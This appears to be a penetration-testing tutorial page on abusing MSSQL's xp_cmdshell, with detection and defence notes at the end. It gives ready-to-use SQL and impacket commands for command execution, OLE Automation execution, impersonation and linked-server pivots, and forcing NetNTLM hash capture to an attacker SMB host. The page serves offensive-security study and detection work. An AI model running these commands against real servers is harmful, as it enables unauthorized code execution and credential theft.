the_open_door
coffee
ESEN
← Back to index

Command execution in MSSQL (xp_cmdshell)

ATT&CKT1059
Full command arsenal in the cheatsheet

Microsoft SQL Server (port 1433) ships the extended procedure xp_cmdshell, which runs OS commands from a SQL query. It's disabled by default, but if we authenticate as a user with enough privileges (sysadmin, or members with CONTROL), we can re-enable it and get command execution on the host:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

The key detail is the identity it runs under. xp_cmdshell runs not as the SQL user we connect with, but as the SQL Server service account (often a domain account like svc_mssql, or NT Service\MSSQLSERVER). That service account usually keeps SeImpersonatePrivilege, which chains straight into a potato to reach SYSTEM (SeImpersonate and potatoes).

How you reach the authenticated connection varies: cleartext credentials, a Silver Ticket forged for the MSSQL/... SPN, or credential reuse. With impacket:

impacket-mssqlclient <domain>/<user>:<pass>@<ip>
impacket-mssqlclient -k host.domain          # Kerberos auth (ticket in KRB5CCNAME)

If 1433 only listens locally, forward it with a tunnel (chisel, SSH) before connecting.

Capture the NetNTLM hash (without being sysadmin)

Even if you can't run commands, any login with connect permission can force SQL Server to authenticate against an SMB share of ours: with Responder listening you capture the service account's NetNTLMv2 to crack it or relay it:

EXEC master..xp_dirtree '\\<lhost>\share', 1, 1;
EXEC master..xp_subdirs '\\<lhost>\share';
EXEC master..xp_fileexist '\\<lhost>\share\x';

Alternatives to xp_cmdshell

If xp_cmdshell is blocked but you're still sysadmin, execution comes out via OLE Automation or the CLR:

-- OLE Automation (sp_OACreate)
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @o INT; EXEC sp_OACreate 'WScript.Shell', @o OUT; EXEC sp_OAMethod @o, 'Run', NULL, 'cmd /c whoami > C:\out.txt';

Pivot to another identity or instance

With impersonate over another login, or with misconfigured linked servers, you jump to more privilege or to another instance (which might still have xp_cmdshell):

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id=b.principal_id WHERE a.permission_name='IMPERSONATE';
EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;      -- assume sa's identity
EXEC sp_linkedservers;                              -- list linked servers
EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami'';') AT [LINKED\SRV];

Nuance. Re-enabling xp_cmdshell requires elevated privileges on the instance; a low-privilege SQL user can't. The alternatives (sp_OACreate, CLR) also need sysadmin, but the hash capture via xp_dirtree works with a minimal connect permission.

How to detect it. Two layers. In SQL Server, with server audit enabled, the sp_configure that re-enables xp_cmdshell generates an Audit Change event (the Audit Server Configuration trace), and a solid rule alerts on any change of xp_cmdshell to 1, almost always malicious. In the OS, every command run by the procedure appears as an Event ID 4688 (process creation) whose parent is sqlservr.exe: a cmd.exe/whoami/powershell hanging off SQL Server is not normal database activity and is the most reliable signature. If it then chains a potato, the child becomes SYSTEM (see SeImpersonate and potatoes). The SQL itself, with statement auditing, shows the EXEC xp_cmdshell call.

Defence. Run SQL Server under a least-privilege service account (without unnecessary SeImpersonate), don't grant sysadmin to applications, and keep xp_cmdshell disabled and audited. Related to PostgreSQL RCE and command injection.

Toolsmssqlclient.pysqshPowerUpSQL

Machines where it's used

  • NagoyaProving Grounds Practice